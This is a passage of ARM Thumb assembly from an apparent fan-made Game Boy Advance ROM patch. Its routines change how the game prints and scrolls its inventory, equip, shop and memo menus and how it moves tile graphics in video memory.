bl $8047B9C //Order its printing
mov r0,#0x51 //Max PP text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#5
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x48 //Offense text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#6
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x49 //Defense text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#7
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x4A //IQ text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#8
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x4B //Speed text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#9
mov r3,r5
bl $8047B9C //Order its printing
.new_equip_print_end:
add sp,#4
pop {r4-r6,pc}
//=============================================================================================
// This hack changes what the main inventory scrolling will print, based off of 0x8046EF0
//=============================================================================================
.new_main_inventory_scroll_print:
push {r4-r7,lr}
mov r7,r9
mov r6,r8
push {r6,r7}
add sp,#-4 //base code
mov r3,r0
ldr r2,=#0x2016028
ldr r0,=#0x2DFA
add r1,r2,r0
ldrh r0,[r3,#0xA]
ldrh r1,[r1,#0] //is this the key items inventory?
cmp r0,r1
bcc .new_main_inventory_scroll_print_end
mov r0,r3
bl .new_key_inventory_scroll_print
.new_main_inventory_scroll_print_end:
add sp,#4
pop {r3,r4}
mov r8,r3
mov r9,r4
pop {r4-r7,pc}
//=============================================================================================
// This hack changes what scrolling in the key items inventory will print, based off of 0x8046FD8
//=============================================================================================
.new_key_inventory_scroll_print:
push {r4-r7,lr}
mov r7,r9
mov r6,r8
push {r6,r7}
add sp,#-4 //base code
mov r1,r0
ldr r3,=#0x2016028
bl .get_direction
cmp r0,#0
bne .new_key_inventory_scroll_print_descending_items
mov r0,#2 //If we're scrolling up, there will be two items for sure. No need to edit r1 either.
ldrh r1,[r1,#8]
b +
.new_key_inventory_scroll_print_descending_items:
ldr r0,=#0x426A
add r2,r3,r0
ldrh r0,[r2,#0]
ldrh r1,[r1,#8]
add r1,#0xE //Only if we're descending!
sub r0,r0,r1
cmp r0,#2
ble +
mov r0,#2
+
lsl r2,r0,#0x10
lsr r4,r2,#0x10
mov r9,r4
lsl r1,r1,#2
mov r4,#0xC2
lsl r4,r4,#6
add r0,r3,r4
add r5,r1,r0
mov r6,#0
lsr r0,r2,#0x11
cmp r6,r0
bcs +
mov r7,#0xF //Set the thing to print the bottom two items at the right position
ldrb r1,[r5,#0]
mov r0,#2
bl $8001C5C
str r7,[sp,#0]
mov r1,#1
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
add r5,#0x4
ldrb r1,[r5,#0]
mov r0,#2
bl $8001C5C
str r7,[sp,#0]
mov r1,#0xB
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
+
mov r0,#1
mov r1,r9
and r0,r1
cmp r0,#0
beq .new_key_inventory_scroll_print_end
mov r7,#0xF //Set the thing to print the bottom item at the right position
ldrb r1,[r5,#0]
mov r0,#2
bl $8001C5C
str r7,[sp,#0]
mov r1,#1
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
.new_key_inventory_scroll_print_end:
add sp,#4
pop {r3,r4}
mov r8,r3
mov r9,r4
pop {r4-r7,pc}
//=============================================================================================
// This hack gets the scrolling direction for any given menu
//=============================================================================================
.get_direction:
push {r1-r2,lr}
ldr r1,=#0x201A288
ldrb r1,[r1,#0] //Get menu type
lsl r1,r1,#5
ldr r2,=#0x2016028
ldr r0,=#0x2DFA
add r0,r2,r0 //Get menu info array in RAM
add r1,r0,r1
mov r2,#1
ldrh r0,[r1,#0xA]
ldrh r1,[r1,#0xE]
lsr r0,r0,#1
lsr r1,r1,#1
cmp r0,r1
bne +
mov r2,#0 //Going up if they're the same! Otherwise, going down!
+
mov r0,r2
pop {r1-r2,pc}
//=============================================================================================
// This hack gets the scrolling direction for any given submenu
//=============================================================================================
.get_direction_submenu:
push {r1-r2,lr}
ldr r1,=#0x2016028
ldr r2,=#0x3060
add r1,r1,r2 //Get submenu info array in RAM
ldrh r0,[r1,#0x4]
ldrh r1,[r1,#0x8]
lsr r0,r0,#1
lsr r1,r1,#1
mov r2,#1
cmp r0,r1
bne +
mov r2,#0 //Going up if they're the same! Otherwise, going down!
+
mov r0,r2
pop {r1-r2,pc}
//=============================================================================================
// This hack gets the index of the top item for any given menu
//=============================================================================================
.get_top_index:
push {r1-r2,lr}
ldr r1,=#0x201A288
ldrb r1,[r1,#0] //Get menu type
lsl r1,r1,#5
ldr r2,=#0x2016028
ldr r0,=#0x2DFA
add r0,r2,r0 //Get menu info array in RAM
add r1,r0,r1
ldrh r0,[r1,#0xE]
pop {r1-r2,pc}
//=============================================================================================
// This hack gets the number of items in any given menu
//=============================================================================================
.get_total_indexes:
push {r1-r2,lr}
ldr r1,=#0x201A288
ldrb r1,[r1,#0] //Get menu type
lsl r1,r1,#5
ldr r2,=#0x2016028
ldr r0,=#0x2DFA
add r0,r2,r0 //Get menu info array in RAM
add r1,r0,r1
ldrh r0,[r1,#0x8]
pop {r1-r2,pc}
//=============================================================================================
// This hack gets the number of items in a character's inventory
//=============================================================================================
.get_character_inventory_total_indexes:
push {r1,lr}
ldr r0,=#0x2016028
ldr r1,=#0x426C
add r0,r0,r1
ldrh r0,[r0,#0]
pop {r1,pc}
//=============================================================================================
// This hack gets the number of show-able items in any given menu
//=============================================================================================
.get_possible_indexes:
push {r1-r2,lr}
ldr r1,=#0x201A288
ldrb r1,[r1,#0] //Get menu type
lsl r1,r1,#5
ldr r2,=#0x2016028
ldr r0,=#0x2DFA
add r0,r2,r0 //Get menu info array in RAM
add r1,r0,r1
ldrh r0,[r1,#0xC]
pop {r1-r2,pc}
//=============================================================================================
// This hack gets the index of the currently selected item for any given menu
//=============================================================================================
.get_selected_index:
push {r1-r2,lr}
ldr r1,=#0x201A288
ldrb r1,[r1,#0] //Get menu type
lsl r1,r1,#5
ldr r2,=#0x2016028
ldr r0,=#0x2DFA
add r0,r2,r0 //Get menu info array in RAM
add r1,r0,r1
ldrh r0,[r1,#0xA]
pop {r1-r2,pc}
//=============================================================================================
// This hack sets the index of the currently selected item to a specific value.
// It returns in r0 the previous selected item value
//=============================================================================================
.set_selected_index:
push {r1-r3,lr}
mov r3,r0
ldr r1,=#0x201A288
ldrb r1,[r1,#0] //Get menu type
lsl r1,r1,#5
ldr r2,=#0x2016028
ldr r0,=#0x2DFA
add r0,r2,r0 //Get menu info array in RAM
add r1,r0,r1
ldrh r0,[r1,#0xA]
strh r3,[r1,#0xA]
pop {r1-r3,pc}
//=============================================================================================
// This hack gets the difference between the top index and the total amount of items
//=============================================================================================
.get_difference_top_total:
push {r1-r2,lr}
ldr r1,=#0x201A288
ldrb r1,[r1,#0] //Get menu type
lsl r1,r1,#5
ldr r2,=#0x2016028
ldr r0,=#0x2DFA
add r0,r2,r0 //Get menu info array in RAM
add r1,r0,r1
ldrh r0,[r1,#0xE] //Top index
ldrh r1,[r1,#0x8] //Total items
sub r0,r1,r0 //Total items - Top index
pop {r1-r2,pc}
//=============================================================================================
// This hack gets the height for printing in the inventory/withdrawing menu
//=============================================================================================
.get_inventory_height:
push {r0,lr}
bl .get_direction
cmp r0,#0
bne .get_inventory_height_descending
mov r2,#0x2
b .get_inventory_height_end
.get_inventory_height_descending:
mov r2,#0x9
.get_inventory_height_end:
pop {r0,pc}
//=============================================================================================
// This hack gets the height for printing in the equip submenu
//=============================================================================================
.get_equip_submenu_height:
push {r0,lr}
bl .get_direction_submenu
cmp r0,#0
bne .get_equip_submenu_height_descending
mov r2,#0x2
b .get_equip_submenu_height_end
.get_equip_submenu_height_descending:
mov r2,#0x9
.get_equip_submenu_height_end:
pop {r0,pc}
//=============================================================================================
// This hack gets the height for printing in the battle memoes menu
//=============================================================================================
.get_battle_memoes_height:
push {r0,lr}
bl .get_direction
cmp r0,#0
beq +
mov r0,#8
sub r0,r0,r6
add r2,r2,r0
+
pop {r0,pc}
//=============================================================================================
// This hack gets the height for printing in the memoes menu
//=============================================================================================
.get_memoes_height:
push {r0,lr}
bl .get_direction
cmp r0,#0
bne .get_memoes_height_descending
mov r2,#0x3
b .get_memoes_height_end
.get_memoes_height_descending:
mov r2,#0x9
.get_memoes_height_end:
pop {r0,pc}
//=============================================================================================
// This hack gets the height for printing in the shop menu
//=============================================================================================
.get_shop_height:
push {r0,lr}
bl .get_direction
cmp r0,#0
bne .get_shop_height_descending
mov r2,#0x2
b .get_shop_height_end
.get_shop_height_descending:
mov r2,#0x7
.get_shop_height_end:
pop {r0,pc}
//=============================================================================================
// This hack gets the color for the psi when printing in the psi menu. r0 is the input value
//=============================================================================================
.get_psi_usable:
lsl r0,r0,#0xA
cmp r0,#0
bge .psi_not_usable
mov r0,#0xF
b +
.psi_not_usable:
mov r0,#1
+
bx lr
//=============================================================================================
// This hack is called in order to change where everything is printed in VRAM. Based on 0x80487D4
//=============================================================================================
.new_print_vram_container:
push {r4,r5,lr}
add sp,#-4
str r0,[sp,#0]
ldr r4,=#0x201AEF8 //We avoid printing OAM entries...
ldr r0,=#0x76DC //Base code
add r5,r4,r0
ldrb r1,[r5,#0]
mov r0,#8
and r0,r1
cmp r0,#0
beq +
mov r0,r4
bl $8048878
mov r0,r4
bl $80489F8
mov r0,r4
bl $8048C5C
+
bl .load_remaining_strings_external
ldr r3,=#0x76D6
add r0,r4,r3
mov r2,#0
strb r1,[r0,#0]
add r3,#1
add r0,r4,r3
strb r2,[r0,#0]
lsl r1,r1,#0x18
cmp r1,#0
beq +
mov r0,r4
ldr r1,[sp,#0]
bl .print_vram //New code!
+
ldr r1,=#0x6C28
add r0,r4,r1
ldr r0,[r0,#0]
ldrb r1,[r0,#0x11]
cmp r1,#0
bne +
ldr r2,=#0x3004B00
ldrh r0,[r2,#0]
cmp r0,#0
beq +
ldr r3,=#0xFFFFF390
add r0,r4,r3
ldrb r0,[r0,#0]
cmp r0,#0
blt +
cmp r0,#2
ble .new_print_vram_container_inner
cmp r0,#4
bne +
.new_print_vram_container_inner:
strh r1,[r2,#0]
+
add sp,#4
pop {r4,r5,pc}
//=============================================================================================
// This hack moves the graphics for the Equip menu and the Status menu.
// It also makes the arrangements point to them
//=============================================================================================
.new_graphics_arrangements_movement_table:
dd $01A40204; dd $02A40105
.new_move_graphics_arrangements:
push {r4-r7,lr}
ldr r0,=#0x201A288
ldrb r0,[r0,#0]
lsr r0,r0,#1
lsl r0,r0,#2
ldr r1,=#.new_graphics_arrangements_movement_table
add r6,r1,r0 //Load how to move stuff, based upon the menu
ldr r7,=#0x600E800
ldrh r1,[r6,#2]
add r7,r7,r1 //Where to start
mov r5,#0 //Current entry
.new_move_graphics_arrangements_loop:
mov r4,#0 //Number of tiles to move
mov r1,r7
ldrh r3,[r1,#0] //Save starting tile
-
ldrh r0,[r1,#0] //Get how many tiles need to be moved
cmp r0,#0
beq +
add r4,#1
add r1,#2
b -
+
cmp r4,#0 //If nothing to copy, skip!
beq +
lsr r2,r5,#1 //Get where to put the graphics
lsl r2,r2,#11
mov r1,#1
and r1,r5
lsl r1,r1,#9
add r2,r2,r1
add r2,#0x20
push {r5-r7}
lsr r7,r2,#5 //Save starting tile number
lsl r0,r3,#5 //Get actual address
ldr r1,=#0x6008000 //Graphics start
add r0,r1,r0 //Source
add r1,r1,r2 //Target
mov r5,r0
mov r6,r1
lsl r2,r4,#3 //Number of words to copy
swi #0xC
mov r0,r5
mov r1,r6
mov r2,#4
lsl r2,r2,#8
add r0,r0,r2 //Copy the bottom as well
add r1,r1,r2
lsl r2,r4,#3 //Number of words to copy
swi #0xC
mov r0,r7 //New starting tile number
mov r1,r7
add r1,#0x20 //New bottom starting tile number
pop {r5-r7}
mov r2,r7 //Replace arrangements
mov r3,r7
add r3,#0x40
-
strh r0,[r2,#0]
strh r1,[r3,#0]
add r0,#1
add r1,#1
add r2,#2
add r3,#2
sub r4,#1
cmp r4,#0
bne -
+
ldrb r1,[r6,#0] //Number of entries
ldrb r2,[r6,#1]
lsl r2,r2,#7
add r7,r7,r2 //How much to add to the base arrangements
add r5,#1
cmp r5,r1
bne .new_move_graphics_arrangements_loop
pop {r4-r7,pc}
//=============================================================================================
// This hack gets the selected character's number.
//=============================================================================================
.new_get_menu_character_number:
push {r1-r3,lr}
mov r2,r0
ldr r1,=#0x2016028
mov r0,#0xB8
lsl r0,r0,#6
add r0,r0,r1
lsl r1,r2,#5
add r0,r0,r1
ldrh r0,[r0,#0xA]
bl $8054FE0
ldrb r0,[r0,#0]
pop {r1-r3,pc}
//=============================================================================================
// This hack changes the target vram address to whatever we want it to be.
// It uses the values found by new_get_empty_tiles
//=============================================================================================
.new_get_address:
ldr r1,[sp,#0x20+0x24]
cmp r0,r1 //If we're after a certain threshold (which depends on the menu), use the second address
blt +
ldr r1,[sp,#0x20+0x1C]
b .new_get_address_keep_going
+
ldr r1,[sp,#0x20+0x20]
.new_get_address_keep_going:
lsl r0,r0,#0x10
lsr r0,r0,#0xB
add r0,r0,r1
bx lr
//=============================================================================================
// This hack gets the tiles which will be empty
//=============================================================================================
//Table that dictates which menus are valid to read the empty buffer tiles of
.new_get_empty_tiles_valid:
dw $8CB7; dw $0000
//Table which dictates the limit value of a menu used to change the valid buffer tiles to the second ones
.new_get_empty_tiles_limit_values:
db $10; db $12; db $0F; db $FF; db $0F; db $10; db $FF; db $10
db $FF; db $FF; db $0D; db $0F; db $FF; db $FF; db $FF; db $0F
db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF
db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF
//Table that indicates which menus only use one line to the right instead of one to the left (safe) or two
.new_get_empty_tiles_types:
dw $80B7; dw $0000
.new_get_empty_tiles:
push {r4-r6,lr}
add sp,#-4
ldr r0,=#0x2016078
mov r1,#1
mov r2,#0
mov r3,#0
bl $8001378
ldr r1,=#0x201A288
ldr r3,=#.new_get_empty_tiles_valid
ldrh r2,[r3,#2]
ldrh r3,[r3,#0]
lsl r2,r2,#0x10
orr r3,r2
ldrb r2,[r1,#0]
mov r1,#1
lsl r1,r2
and r1,r3
cmp r1,#0
bne +
ldr r6,=#0x6008000
mov r0,r6
mov r1,r6
b .end_new_get_empty_tiles
+
mov r3,r0
add r3,#0x82
ldr r4,=#.new_get_empty_tiles_types //Determine if this is a right single column menu or not
ldrh r0,[r4,#2]
ldrh r4,[r4,#0]
lsl r0,r0,#0x10
orr r4,r0
mov r0,#1
lsl r0,r2
and r0,r4
cmp r0,#0
beq +
ldr r4,=#0xFFF00003 //Bitmap for occupied/not occupied zone when double columned
b .new_get_empty_tiles_gotten_type
+
ldr r4,=#0xFFF55557 //Bitmap for occupied/not occupied zone when single columned right
.new_get_empty_tiles_gotten_type:
mov r5,#0
ldr r6,=#.new_get_empty_tiles_limit_values
add r6,r6,r2
ldrb r6,[r6,#0]
cmp r2,#4
bne +
mov r0,r2
bl .new_get_menu_character_number //All characters in skills besides the PSI users use 0x10 as a base
cmp r0,#2
beq +
cmp r0,#4
beq +
add r6,#1
+
str r6,[sp,#0]
lsl r6,r6,#1
sub r6,#2
-
add r3,#0x80
ldrh r0,[r3,#0]
lsr r2,r0,#5
lsl r1,r2,#5
sub r1,r0,r1
mov r0,r2
ldr r2,[sp,#0]
cmp r1,r2
blt +
mov r1,#1
orr r0,r1
+
mov r1,#1
lsl r1,r0
orr r4,r1 //Set the zone to occupied
ldsh r0,[r3,r6]
lsr r2,r0,#5
lsl r1,r2,#5
sub r1,r0,r1
mov r0,r2
ldr r2,[sp,#0]
cmp r1,r2
blt +
mov r1,#1
orr r0,r1
+
mov r1,#1
lsl r1,r0
orr r4,r1 //Set the zone to occupied
add r5,#1
cmp r5,#8
blt -
mov r5,#0 //Now get the free zones
mov r3,#0
mov r2,#0
mov r1,#0
-
mov r0,#1
lsl r0,r5
and r0,r4
cmp r0,#0
bne +
mov r2,r3
mov r3,r5
add r1,#1
+
add r5,#1
cmp r5,#0x20
bge +
cmp r1,#2
blt -
+
// r2 and r3 have our numbers
ldr r6,=#0x6008000
ldr r1,[sp,#0]
mov r5,#1
and r5,r2
sub r2,r2,r5
lsl r2,r2,#5
cmp r5,#1
bne +
orr r2,r1
+
lsl r2,r2,#5
add r0,r2,r6
mov r5,#1
and r5,r3
sub r3,r3,r5
lsl r3,r3,#5
cmp r5,#1
bne +
orr r3,r1
+
lsl r3,r3,#5
add r1,r3,r6
ldr r2,=#0x201A288
ldrb r3,[r2,#0]
ldr r4,=#.new_get_empty_tiles_limit_values
ldrb r2,[r4,r3]
cmp r3,#4
bne +
mov r4,r0
mov r0,r3
bl .new_get_menu_character_number //All characters in skills besides the PSI users use 0x10 as a base
mov r3,r0
mov r0,r4
cmp r3,#2
beq +
cmp r3,#4
beq +
add r2,#1
+
lsl r3,r2,#5
sub r1,r1,r3
.end_new_get_empty_tiles:
add sp,#4
pop {r4-r6,pc}
//=============================================================================================
// This hack negates VRAM printing for a frame
//=============================================================================================
.negate_printing:
ldr r0,=#0x20225D4 //Don't print this frame
ldrb r1,[r0,#0]
mov r2,#9
neg r2,r2
and r1,r2
strb r1,[r0,#0]
bx lr
//=============================================================================================
// This hack combines all the hacks above.
// It moves the arrangements around instead of re-printing everything.
// It only prints what needs to be printed.
//=============================================================================================
.up_down_scrolling_print:
push {lr}
add sp,#-0xC
bl .new_get_empty_tiles
str r2,[sp,#8]
str r0,[sp,#4]
str r1,[sp,#0]
bl .new_print_menu_up_down
ldr r4,=#0x201AEF8
mov r0,r4
bl $803E908
-
mov r0,#1
bl .new_print_vram_container
mov r0,r4
bl $803E908
ldr r0,=#0x2013040 //Check for two names with a total of 41+ letters on the same line.
ldrb r1,[r0,#2] //Max item name size is 21, so it's possible, but unlikely.
ldrb r2,[r0,#3] //At maximum 2 letters must be printed, so it's fast.
cmp r1,r2 //Can happen with (pickled veggie plate or jar of yummy pickles or saggittarius bracelet
bne - //or mole cricket brother) + bag of big city fries on the same line.
add sp,#0xC
pop {pc}
//=============================================================================================
// This hack combines all the hacks above.
// It moves the arrangements and the graphics around, then allows re-printing.
// It only prints what needs to be printed.
//=============================================================================================
.move_and_print:
push {lr}
bl .new_print_menu_up_down
pop {pc}
//=============================================================================================
// This hack combines all the hacks above.
// It moves the arrangements around instead of re-printing everything.
// It only prints what needs to be printed.
// This version takes pre-established free tiles instead of determining them on the fly
//=============================================================================================
.up_down_scrolling_print_no_get_empty_tiles:
push {lr}
add sp,#-0xC
str r2,[sp,#8]
str r0,[sp,#4]
str r1,[sp,#0]
bl .new_print_menu_up_down
ldr r4,=#0x201AEF8
mov r0,r4
bl $803E908
-
mov r0,#1
bl .new_print_vram_container
mov r0,r4
bl $803E908
ldr r0,=#0x2013040 //Check for two names with a total of 41+ letters on the same line.
ldrb r1,[r0,#2] //Max item name size is 21, so it's possible, but unlikely.
ldrb r2,[r0,#3] //At maximum 2 letters must be printed, so it's fast.
cmp r1,r2 //Can happen with (pickled veggie plate or jar of yummy pickles or saggittarius bracelet
bne - //or mole cricket brother) + bag of big city fries on the same line.
add sp,#0xC
pop {pc}
//=============================================================================================
// This hack combines all the hacks above.
// It moves the arrangements around instead of re-printing everything.
// It only prints what needs to be printed.
// This version takes pre-established free tiles instead of determining them on the fly
//=============================================================================================
.pressing_a_scrolling_print_no_get_empty_tiles:
push {lr}
add sp,#-0xC
str r2,[sp,#8]
str r0,[sp,#4]
str r1,[sp,#0]
bl .new_print_menu_a
ldr r4,=#0x201AEF8
mov r0,r4
bl $803E908
-
mov r0,#1
bl .new_print_vram_container
mov r0,r4
bl $803E908
ldr r0,=#0x2013040 //Check for two names with a total of 41+ letters on the same line.
ldrb r1,[r0,#2] //Max item name size is 21, so it's possible, but unlikely.
ldrb r2,[r0,#3] //At maximum 2 letters must be printed, so it's fast.
cmp r1,r2 //Can happen with (pickled veggie plate or jar of yummy pickles or saggittarius bracelet
bne - //or mole cricket brother) + bag of big city fries on the same line.
add sp,#0xC
pop {pc}
//=============================================================================================
// This hack swaps the arrangements in order to not re-print everything when removing/moving an item
//=============================================================================================
.new_generic_swap_arrangement:
push {r3-r6,lr}
mov r4,r0 //This has the selected index before anything was removed/moved.
//Using that covers the player selecting the last item and getting
//their cursor moved
ldr r5,=#0x2016978
bl .get_positions_lines_array
mov r6,r0
bl .get_possible_indexes
sub r3,r0,#1
cmp r4,r3 //Cover edge case
bge +
-
mov r0,r4 //Swap a single item's arrangement
bl .new_handle_selling_swap_arrangement
bl .new_general_swap_single_line
add r4,#1
cmp r4,r3
blt -
+
mov r0,r3
bl .new_handle_selling_swap_arrangement
bl .new_general_clear_final_line //Clear the last item's arrangement
pop {r3-r6,pc}
//=============================================================================================
// This hack copies an item's arrangements in order to not re-print everything when moving an item
//=============================================================================================
.new_generic_copy_arrangement:
push {r4-r7,lr}
mov r4,r0 //This has the selected index before anything was removed/moved.
//Using that covers the player selecting the last item and getting
//their cursor moved
mov r3,r1 //Put in r3 whether to copy from or to the item's arrangement
mov r7,r2 //Put in r7 the target
ldr r5,=#0x2016978
bl .get_positions_lines_array
mov r6,r0
mov r0,r4 //Copies a single item's arrangements from/to r7
mov r1,r3
mov r2,r7
bl .new_general_copy_single_line
pop {r4-r7,pc}
//=============================================================================================
// This hack handles the selling special case
//=============================================================================================
.new_handle_selling_swap_arrangement:
push {lr}
ldr r1,=#0x201A288
ldrb r1,[r1,#0]
cmp r1,#0xB
bne +
lsl r0,r0,#1
add r0,#1
+
pop {pc}
//=============================================================================================
// This hack swaps the deposit arrangements in order to not re-print everything when depositing an item.
// It also handles the inventory arrangements swapping
//=============================================================================================
.new_inventory_deposit_swap_arrangement:
push {lr}
ldr r0,[r0,#0x8]
bl .new_generic_swap_arrangement
pop {pc}
//=============================================================================================
// This hack copies one line of inventory's arrangements in order to not re-print everything when moving an item.
//=============================================================================================
.new_inventory_copy_arrangement:
push {lr}
ldr r0,[r0,#0x8]
bl .new_generic_copy_arrangement
pop {pc}
//=============================================================================================
// This hack swaps the withdraw arrangements in order to not re-print everything when withdrawing an item
//=============================================================================================
.new_withdraw_swap_arrangement:
push {lr}
ldr r1,[r0,#4]
ldr r0,[r0,#8]
sub r0,r0,r1
bl .new_generic_swap_arrangement
pop {pc}
//=============================================================================================
// Hack that stores the flag that puts the arrangement buffer back to VRAM
//=============================================================================================
.store_arrangements_buffer:
push {r0-r5,lr}
mov r0,#0x0 //Order printing a blank tile
bl $80486A0 //Blank text, get the pointer to it
mov r5,#1
neg r5,r5
mov r4,#1
str r4,[sp,#0] //Gray text
mov r1,#0
mov r2,#0
mov r3,r5
bl $8047B9C //Order its printing
ldr r4,=#0x201AEF8
mov r0,r4
bl $803E908 //Print this to VRAM now!
bl $80487D4
mov r0,r4
bl $803E908
pop {r0-r5,pc}
//=============================================================================================
// Gets the array of the positions for swapping
// Order (reversed) is:
// Right side's position | Left side's position | Distance between right and lower left | Size
//=============================================================================================
.positions_swapping_array:
dd $10620220; dd $00000000; dd $00000000; dd $00000000
dd $00000000; dd $00000000; dd $00000000; dd $00000000
dd $00000000; dd $00000000; dd $00000000; dd $1080001E
dd $00000000; dd $00000000; dd $10620220; dd $0E64021E
dd $00000000; dd $00000000; dd $00000000; dd $00000000
dd $00000000; dd $00000000; dd $00000000; dd $00000000
dd $00000000; dd $00000000; dd $00000000; dd $00000000
dd $00000000; dd $00000000; dd $00000000; dd $00000000
.get_positions_lines_array:
ldr r1,=#.positions_swapping_array
ldr r0,=#0x201A288
ldrb r0,[r0,#0]
lsl r0,r0,#2
add r0,r1,r0
bx lr
//=============================================================================================
// Swaps a single item's arrangement
//=============================================================================================
.new_general_swap_single_line:
push {r3-r4,lr}
mov r2,#1
and r2,r0
lsr r0,r0,#1
lsl r0,r0,#7
cmp r2,#0
beq +
ldrb r2,[r6,#0]
+
add r1,r5,r0
add r1,r1,r2 //Get the arrangement address
mov r4,r1
cmp r2,#0
bne +
ldrb r2,[r6,#0]
add r0,r4,r2 //Branch for an item to the left
ldrb r2,[r6,#1]
add r1,r1,r2
ldrb r2,[r6,#3]
swi #0xB
add r4,#0x40
ldrb r2,[r6,#0]
add r0,r4,r2
ldrb r2,[r6,#1]
add r1,r4,r2
ldrb r2,[r6,#3]
swi #0xB
b .new_general_swap_single_line_end
+
ldrb r2,[r6,#2]
add r0,r4,r2 //Branch for an item to the right
ldrb r2,[r6,#3]
swi #0xB
add r4,#0x40
ldrb r2,[r6,#2]
add r0,r4,r2
mov r1,r4
ldrb r2,[r6,#3]
swi #0xB
.new_general_swap_single_line_end:
pop {r3-r4,pc}
//=============================================================================================
// Copies a single item's arrangement to a given address r2.
// r1 controls whether to copy to or copy from r2
//=============================================================================================
.new_general_copy_single_line:
push {r3-r7,lr}
add sp,#-0x10
mov r7,r2
mov r3,#1
and r3,r0
lsr r0,r0,#1
lsl r0,r0,#7
ldrb r2,[r6,#1]
cmp r3,#0
beq +
ldrb r2,[r6,#0] //Handle the right side differently
+
add r0,r5,r0
add r0,r0,r2 //Get the arrangement address
mov r2,#0x20 //Save the arrangement address and the target/source address on the stack
add r5,r7,r2 //This allows using a generic copying routine
mov r2,#0x40
add r2,r0,r2
cmp r1,#1
beq +
str r0,[sp,#0]
str r2,[sp,#4]
str r7,[sp,#8]
str r5,[sp,#0xC]
b .new_general_copy_single_line_start_copy
+
str r7,[sp,#0]
str r5,[sp,#4]
str r0,[sp,#8]
str r2,[sp,#0xC]
.new_general_copy_single_line_start_copy:
ldr r0,[sp,#0]
ldr r1,[sp,#8]
ldrb r2,[r6,#3]
swi #0xB
ldr r0,[sp,#4]
ldr r1,[sp,#0xC]
ldrb r2,[r6,#3]
swi #0xB
add sp,#0x10
pop {r3-r7,pc}
//=============================================================================================
// Clears the last item's arrangement
//=============================================================================================
.new_general_clear_final_line:
push {r4,lr}
mov r2,#1
lsr r0,r0,#1
lsl r0,r0,#7
cmp r2,#0
beq +
ldrb r2,[r6,#0]
+
add r1,r5,r0
add r1,r1,r2
mov r4,r1
mov r0,#0
push {r0}
mov r0,sp //Part that clears the top of the last item's arrangement
ldr r2,=#0x01000008
swi #0xC
add r4,#0x40
mov r0,sp
mov r1,r4 //Part that clears the bottom of the last item's arrangement
ldr r2,=#0x01000008
swi #0xC
pop {r0}
pop {r4,pc}
//=============================================================================================
// Prepares the withdraw inventory for swapping character. Based off of $804C39A.
// Removes the part that resets the cursor's position
//=============================================================================================
.prepare_swap_char_withdraw:
push {r4,lr}
ldr r2,=#0x2016028
ldr r0,=#0x4260
add r1,r2,r0
mov r3,#0
mov r0,#0xF
strb r0,[r1,#0] //Saves the fact that this is the withdrawing menu
ldr r0,=#0x2FE0
add r1,r2,r0
ldr r0,=#0x4264
add r2,r2,r0
ldrb r0,[r2,#0]
strh r0,[r1,#0xA] //Remove position resetting
ldrh r0,[r1,#0xA]
bl $8054FE0
mov r4,r0
bl $80524EC
mov r0,r4
bl $80531C8
pop {r4,pc}
//=============================================================================================
// Prepares the buying inventory for swapping character. Based off of $804C254.
// Removes the part that resets the cursor's position
//=============================================================================================
.prepare_swap_char_buying:
push {r4-r6,lr}
ldr r6,=#0x2016028
ldr r0,=#0x4260
add r1,r6,r0
mov r2,#0
mov r0,#0xA
strb r0,[r1,#0] //Saves the fact that this is the buying menu
mov r1,#0xBD
lsl r1,r1,#6
add r5,r6,r1
ldr r1,=#0x4264
add r0,r6,r1
ldrb r0,[r0,#0]
strh r0,[r5,#0xA] //Remove position resetting
ldrh r0,[r5,#0xA]
bl $8054FE0
mov r4,r0
bl $80524EC
mov r0,r4
bl $8052F9C
mov r0,#0x85
lsl r0,r0,#7
add r6,r6,r0
ldrh r0,[r6,#0]
strh r0,[r5,#2]
pop {r4-r6,pc}
//=============================================================================================
// This hack saves in r1 whether the game is still printing or not
//=============================================================================================
.check_if_printed:
push {r0,lr}
ldr r0,=#0x2013040 //Do the thing only IF we're done printing.
ldrh r1,[r0,#2] //Prevents issues with arrangements not being there
pop {r0,pc}
//=============================================================================================
// This hack saves in the stack the info used for printing stuff when things are removed/moved
//=============================================================================================
.store_menu_movement_data:
push {r0,lr}
bl main_menu_hacks.get_selected_index
str r0,[sp,#0x10]
bl main_menu_hacks.get_top_index
str r0,[sp,#0xC]
bl main_menu_hacks.get_total_indexes
str r0,[sp,#8]
pop {r0,pc}
//=============================================================================================
// This hack changes the palette for an item's arrangement that is stored in r0
//=============================================================================================
.change_palette:
push {r1-r5,lr}
mov r4,r0 //r4 = r0 = initial address
ldr r2,=#0x0FFF //r2 = 0xFFF, used to get the non-palette part
ldrh r1,[r0,#0]
mov r3,r1
and r1,r2
cmp r1,#0
beq .change_palette_end //If there is no item, stop here
mov r1,r3
mov r5,#0xF0
lsl r5,r5,#8
and r5,r1
mov r3,#0 //Get whether this was 0x8XXX or 0x0XXX
cmp r5,#0
bne +
mov r3,#0x80
lsl r3,r3,#8
+
mov r5,r3 //r5 now has either 0x0000 or 0x8000
mov r3,#0 //r3 is a counter used in order to avoid issues
-
ldrh r1,[r0,#0]
and r1,r2 //Pick the non-palette part
cmp r1,#0
beq + //If it's 0, proceed to the next step
orr r1,r5 //Otherwise, or it with the new palette
strh r1,[r0,#0] //and then store it
add r0,#2
add r3,#1 //Continue along
cmp r3,#0x10
blt -
+
mov r0,r4
add r0,#0x40 //Get the bottom address. Initial one + 0x40
mov r3,#0
-
ldrh r1,[r0,#0]
and r1,r2 //Pick the non-palette part
cmp r1,#0
beq + //If it's 0, proceed to the next step
orr r1,r5 //Otherwise, or it with the new palette
strh r1,[r0,#0] //and then store it
add r0,#2
